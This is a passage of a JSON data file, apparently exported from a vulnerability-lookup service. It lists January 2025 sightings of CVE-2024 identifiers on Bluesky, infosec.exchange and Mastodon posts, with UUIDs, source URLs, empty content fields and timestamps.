"vulnerability": "CVE-2024-12328", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf7taw57jy2x", "content": "", "creation_timestamp": "2025-01-08T09:15:34.211904Z"}, {"uuid": "0ffa3ce2-d5c2-42aa-a21b-0a38cbb90c1a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12855", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf7tayimed22", "content": "", "creation_timestamp": "2025-01-08T09:15:36.465852Z"}, {"uuid": "22e9aa0c-1528-41dc-a008-7087994201d3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12712", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113791990246161883", "content": "", "creation_timestamp": "2025-01-08T09:19:36.715289Z"}, {"uuid": "3fedd6ce-63f1-4cb8-b8b8-e5362c47cfb3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12854", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113791990278283510", "content": "", "creation_timestamp": "2025-01-08T09:19:37.304652Z"}, {"uuid": "158ab556-8cdd-40a2-bd0d-debe0826787e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12853", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113791990262536103", "content": "", "creation_timestamp": "2025-01-08T09:19:37.601292Z"}, {"uuid": "40ac05c7-ae00-4cc6-9681-e00481f36944", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12712", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf7wltjw2r22", "content": "", "creation_timestamp": "2025-01-08T10:15:21.573800Z"}, {"uuid": "3eaf041d-7348-4e5e-acf2-d13ee346d57b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12853", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf7wlvzxq525", "content": "", "creation_timestamp": "2025-01-08T10:15:24.385537Z"}, {"uuid": "eaef1090-2c94-4b7a-bc60-aea7f7cad886", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12854", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf7wlyffcf2i", "content": "", "creation_timestamp": "2025-01-08T10:15:26.688448Z"}, {"uuid": "17a8050f-71aa-480a-913b-88fb69fa190b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12404", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfgqkkzvlg2m", "content": "", "creation_timestamp": "2025-01-11T03:15:55.934323Z"}, {"uuid": "e81772fe-f7a6-4bb4-b1f9-c34300051047", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12203", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113842412560283053", "content": "", "creation_timestamp": "2025-01-17T07:02:40.154540Z"}, {"uuid": "c177c376-d192-4dee-9829-c4faf5b3ce1e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12466", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113842412594599964", "content": "", "creation_timestamp": "2025-01-17T07:02:40.704919Z"}, {"uuid": "3d9b1407-c2e8-413b-90d2-7d9814e51fe4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12508", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113842412609311559", "content": "", "creation_timestamp": "2025-01-17T07:02:41.138401Z"}, {"uuid": "716c94ca-73df-47be-b638-2fe324575262", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12598", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113842412623584672", "content": "", "creation_timestamp": "2025-01-17T07:02:41.209266Z"}, {"uuid": "de6826cb-b0df-486b-bca1-83168930f01d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12203", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfwaqy4j4e2b", "content": "", "creation_timestamp": "2025-01-17T07:15:46.381671Z"}, {"uuid": "94be69b0-d954-491e-8721-8a1d88aedb7c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12466", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfwar33irh2s", "content": "", "creation_timestamp": "2025-01-17T07:15:48.884152Z"}, {"uuid": "0010a389-ed7f-404d-93ac-7da47f684b81", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12508", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfwar6ellf2c", "content": "", "creation_timestamp": "2025-01-17T07:15:52.752147Z"}, {"uuid": "e7895787-cba7-4771-ae33-9e972d47a484", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12598", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfwaraxlah2p", "content": "", "creation_timestamp": "2025-01-17T07:15:55.079435Z"}, {"uuid": "ffca89e1-03a0-48f3-aed3-0e7a1fd28644", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12637", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfwardg7fl2h", "content": "", "creation_timestamp": "2025-01-17T07:15:57.819439Z"}, {"uuid": "158b8af5-ee06-4d89-8cee-cd27b0bcd86e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12637", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113842471624487735", "content": "", "creation_timestamp": "2025-01-17T07:17:41.412969Z"}, {"uuid": "a789b6a2-79c2-47e0-a173-1b6905cb1999", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12598", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfwc2cw4fq2k", "content": "", "creation_timestamp": "2025-01-17T07:38:53.088919Z"}, {"uuid": "fce1b8a4-abf7-4cba-87c5-d65e1523ae40", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12466", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfwc2d7gme2w", "content": "", "creation_timestamp": "2025-01-17T07:38:53.664528Z"}, {"uuid": "f1ceb379-343f-40e2-b88c-421fb48ceb90", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12637", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfwc2djise2i", "content": "", "creation_timestamp": "2025-01-17T07:38:55.254615Z"}, {"uuid": "f01d54e8-1688-46f5-b3a0-9f84cb5b852a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12203", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfwc2dmrth2e", "content": "", "creation_timestamp": "2025-01-17T07:38:55.781464Z"}, {"uuid": "e4b4966e-41cc-493c-83e3-eab988583dc0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12508", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfwc2dqdrk2u", "content": "", "creation_timestamp": "2025-01-17T07:38:56.288346Z"}, {"uuid": "fea68912-3546-4f8a-8ea5-017332a511c8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12370", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113842753205383757", "content": "", "creation_timestamp": "2025-01-17T08:29:18.073372Z"}, {"uuid": "081fed45-14b4-4021-86fa-16ffe715a9d2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12370", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfwhh4xjnb2b", "content": "", "creation_timestamp": "2025-01-17T09:15:31.552972Z"}, {"uuid": "babfd841-d7c4-4067-850a-9a6247d73347", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12399", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113843027311899255", "content": "", "creation_timestamp": "2025-01-17T09:39:00.468938Z"}, {"uuid": "cd2a9e43-b5b3-47f9-a489-3d2dcf914ce3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12370", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfwj22brkj2q", "content": "", "creation_timestamp": "2025-01-17T09:44:00.667432Z"}, {"uuid": "8b63c026-cf65-4ec5-a2ac-b597f3c135f9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12476", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113843049497825607", "content": "", "creation_timestamp": "2025-01-17T09:44:39.156305Z"}, {"uuid": "568fd70d-66e6-4957-9ea5-a9314a7510fc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "cve-2024-12084", "type": "seen", "source": "https://infosec.exchange/users/shadowserver/statuses/113843115436388046", "content": "", "creation_timestamp": "2025-01-17T10:01:26.257865Z"}, {"uuid": "d4deeeb0-738c-4148-a5f1-72d2f4a8daa7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12084", "type": "seen", "source": "https://bsky.app/profile/shadowserver.bsky.social/post/3lfwk53fkjs22", "content": "", "creation_timestamp": "2025-01-17T10:03:38.765858Z"}, {"uuid": "8f3b97df-4b5e-42c2-ac2b-f15293ea8d53", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12084", "type": "seen", "source": "https://bsky.app/profile/shadowserver.bsky.social/post/3lfwk55fncs22", "content": "", "creation_timestamp": "2025-01-17T10:03:39.734403Z"}, {"uuid": "a3729547-e674-415b-8a73-fdfbffff955a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12084", "type": "seen", "source": "https://bsky.app/profile/shadowserver.bsky.social/post/3lfwk55foc222", "content": "", "creation_timestamp": "2025-01-17T10:03:40.719617Z"}, {"uuid": "5b4ce7c9-e65a-4e79-898a-e151fdc9eb41", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12399", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfwksbgidw2r", "content": "", "creation_timestamp": "2025-01-17T10:15:26.841935Z"}, {"uuid": "0993eb31-5047-449a-9694-dd1ee25c1a7d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12476", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfwksecbhv2t", "content": "", "creation_timestamp": "2025-01-17T10:15:29.881611Z"}, {"uuid": "11f5481d-4908-46ca-82b0-be6f3ef7e5c9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12084", "type": "seen", "source": "https://bsky.app/profile/shadowserver.bsky.social/post/3lfwl5lwv6k22", "content": "", "creation_timestamp": "2025-01-17T10:21:48.230638Z"}, {"uuid": "87a4c3d2-7b7d-4822-8659-29f9233abf6a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12142", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113843197471243477", "content": "", "creation_timestamp": "2025-01-17T10:22:17.187970Z"}, {"uuid": "b921aeef-6d56-48cd-ba18-aa70325f46ae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12703", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113843241325152499", "content": "", "creation_timestamp": "2025-01-17T10:33:26.020759Z"}, {"uuid": "10bea62a-8806-454d-be5c-b3fce7da3634", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12399", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfwmoe5bv62w", "content": "", "creation_timestamp": "2025-01-17T10:49:02.925687Z"}, {"uuid": "ec1c3c75-598d-4a26-a8a0-8b2d0bf45466", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12476", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfwmoeisrx2g", "content": "", "creation_timestamp": "2025-01-17T10:49:03.654177Z"}, {"uuid": "68c2c2a5-72e5-41cc-9562-6aecb9f048cb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12142", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfwo5kct5e2b", "content": "", "creation_timestamp": "2025-01-17T11:15:26.239132Z"}, {"uuid": "4923c261-df1c-4185-ad1f-926b551edff1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12703", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfwo5mtpz42b", "content": "", "creation_timestamp": "2025-01-17T11:15:28.943440Z"}, {"uuid": "df7a35fc-777d-4f15-8fc1-a166d1d23eba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12142", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/113843536835559621", "content": "", "creation_timestamp": "2025-01-17T11:48:36.542665Z"}, {"uuid": "844f68fe-73b9-490d-860d-544c83c5d41c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12703", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfwpzrhdve2y", "content": "", "creation_timestamp": "2025-01-17T11:49:08.092149Z"}, {"uuid": "bddec75d-2156-4107-83e7-257adfdd0a21", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12142", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfwpzrkos42k", "content": "", "creation_timestamp": "2025-01-17T11:49:08.619117Z"}, {"uuid": "8a893956-ff1b-4eb3-88f5-f7cbf7c322f3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12142", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfwpzro55e2k", "content": "", "creation_timestamp": "2025-01-17T11:49:09.205276Z"}, {"uuid": "10c296bb-a4f8-4334-85fe-0c3970d12f69", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12399", "type": "seen", "source": "https://infosec.exchange/users/cR0w/statuses/113843982218783924", "content": "", "creation_timestamp": "2025-01-17T13:41:51.701467Z"}, {"uuid": "426987f0-f88e-4f09-bef1-51aa5d889e7e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12476", "type": "seen", "source": "https://infosec.exchange/users/cR0w/statuses/113843982218783924", "content": "", "creation_timestamp": "2025-01-17T13:41:51.758018Z"}, {"uuid": "aaf342d4-eaa6-49e5-8cc0-a650acf2a9cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12142", "type": "seen", "source": "https://infosec.exchange/users/cR0w/statuses/113843982218783924", "content": "", "creation_timestamp": "2025-01-17T13:41:51.811848Z"}, {"uuid": "324e2a46-5be7-42ff-b3e6-9396fac86ccd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12703", "type": "seen", "source": "https://infosec.exchange/users/cR0w/statuses/113843982218783924", "content": "", "creation_timestamp": "2025-01-17T13:41:51.854142Z"}, {"uuid": "21cf58da-2959-447b-9dd0-3d7c7bf7a321", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12365", "type": "seen", "source": "https://infosec.exchange/users/jbhall56/statuses/113844206824737894", "content": "", "creation_timestamp": "2025-01-17T14:38:58.391047Z"}, {"uuid": "294dfa66-b307-4ee5-aab5-dde0ee6f6548", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12365", "type": "seen", "source": "https://bsky.app/profile/jbhall56.bsky.social/post/3lfwzjtt6p22y", "content": "", "creation_timestamp": "2025-01-17T14:39:11.400998Z"}, {"uuid": "e8317c66-6c47-4811-ae3a-173508f391a1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12757", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113844949403748258", "content": "", "creation_timestamp": "2025-01-17T17:47:49.373837Z"}, {"uuid": "fd1201f3-eb24-49e6-8928-5dbb92d90911", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12757", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfxfmzzp3t2p", "content": "", "creation_timestamp": "2025-01-17T18:15:42.205446Z"}, {"uuid": "71c778b6-133e-40e9-a202-a5801fe86124", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12757", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfxgxohooo2h", "content": "", "creation_timestamp": "2025-01-17T18:39:34.684772Z"}, {"uuid": "77c18e05-dfb4-441c-9f7f-a0d04f8d4dab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12757", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfxgxolewp2e", "content": "", "creation_timestamp": "2025-01-17T18:39:35.273361Z"}, {"uuid": "059cd03d-eddf-42f0-bcc1-e18b9bdf1a7a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "cve-2024-12084", "type": "seen", "source": "https://poliverso.org/objects/0477a01e-9085cab9-262e38e886f4737e", "content": "", "creation_timestamp": "2025-01-17T18:44:34.902080Z"}, {"uuid": "46662e54-a1e3-476c-89d7-37a127ace5ce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12757", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/113845187088378771", "content": "", "creation_timestamp": "2025-01-17T18:48:17.777936Z"}, {"uuid": "389acd4f-74e3-4347-9451-ae4fbf240e18", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12535", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lg7ad5yyeg2t", "content": "", "creation_timestamp": "2025-01-20T21:02:06.581166Z"}, {"uuid": "2ec84f40-3969-4762-ac4d-7fdc4f9d97bb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12005", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113865629807346067", "content": "", "creation_timestamp": "2025-01-21T09:27:07.693885Z"}, {"uuid": "ccc247ac-2b82-48bf-af0e-ca95492dab7d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12104", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgamo3ndzq27", "content": "", "creation_timestamp": "2025-01-21T10:15:31.165642Z"}, {"uuid": "2b20654a-90c0-4a3c-b12a-cbaebc1c52b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12558", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lg7ad65juo2t", "content": "", "creation_timestamp": "2025-01-20T21:02:07.758812Z"}, {"uuid": "8fb0f568-b90c-4c9b-a8e6-eb7036bf1dce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12104", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113865629826391092", "content": "", "creation_timestamp": "2025-01-21T09:27:07.756840Z"}, {"uuid": "49ec8a11-5c7e-4343-a239-0848ddc86b15", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12297", "type": "seen", "source": "https://bsky.app/profile/maik.io/post/3lg75gqiy432o", "content": "", "creation_timestamp": "2025-01-20T20:10:18.864726Z"}, {"uuid": "1beb0876-a04c-48ca-8e19-1b0c581f534c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12157", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lg7ad5qbk62n", "content": "", "creation_timestamp": "2025-01-20T21:02:04.219034Z"}, {"uuid": "842991eb-05f6-4c77-9620-9f850f23fbe7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12849", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lg7ad6bwcp27", "content": "", "creation_timestamp": "2025-01-20T21:02:08.866442Z"}, {"uuid": "52ae951b-19fb-4110-99ef-27d3f401c3ad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12252", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lg7ad5sdja2a", "content": "", "creation_timestamp": "2025-01-20T21:02:04.771007Z"}, {"uuid": "af614fd6-873d-4ee6-8652-729f5ecf27a1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12542", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lg7ad63ddn2c", "content": "", "creation_timestamp": "2025-01-20T21:02:07.105291Z"}, {"uuid": "86e840f8-585c-43cf-a20a-8b352fb71334", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12594", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lg7ad67v5327", "content": "", "creation_timestamp": "2025-01-20T21:02:08.258213Z"}, {"uuid": "b8ca2920-3d6e-48f1-892f-4919e3188ed9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lg7ad6e3qq2x", "content": "", "creation_timestamp": "2025-01-20T21:02:09.436208Z"}, {"uuid": "f7eb36c0-4410-477c-b99b-e642a936462b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12084", "type": "seen", "source": "https://bsky.app/profile/opsmatters.bsky.social/post/3lg7vjhsy2b23", "content": "", "creation_timestamp": "2025-01-21T03:21:20.194767Z"}, {"uuid": "4682ea11-f31f-4675-9351-4a81ffa19763", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12833", "type": "seen", "source": "https://bsky.app/profile/decrypt.lol/post/3lga5nilt5x2i", "content": "", "creation_timestamp": "2025-01-21T05:46:46.024832Z"}, {"uuid": "43168818-2c44-48cd-a918-6ddbb6ba1f9f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12005", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lgaoklkoip2e", "content": "", "creation_timestamp": "2025-01-21T10:49:21.521963Z"}, {"uuid": "a4c620fc-16f5-4e02-8354-508ce4c5de95", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12104", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lgaoklnzwm2e", "content": "", "creation_timestamp": "2025-01-21T10:49:22.062051Z"}, {"uuid": "16d397c8-e6d8-40d0-9ab1-e983629bec96", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": 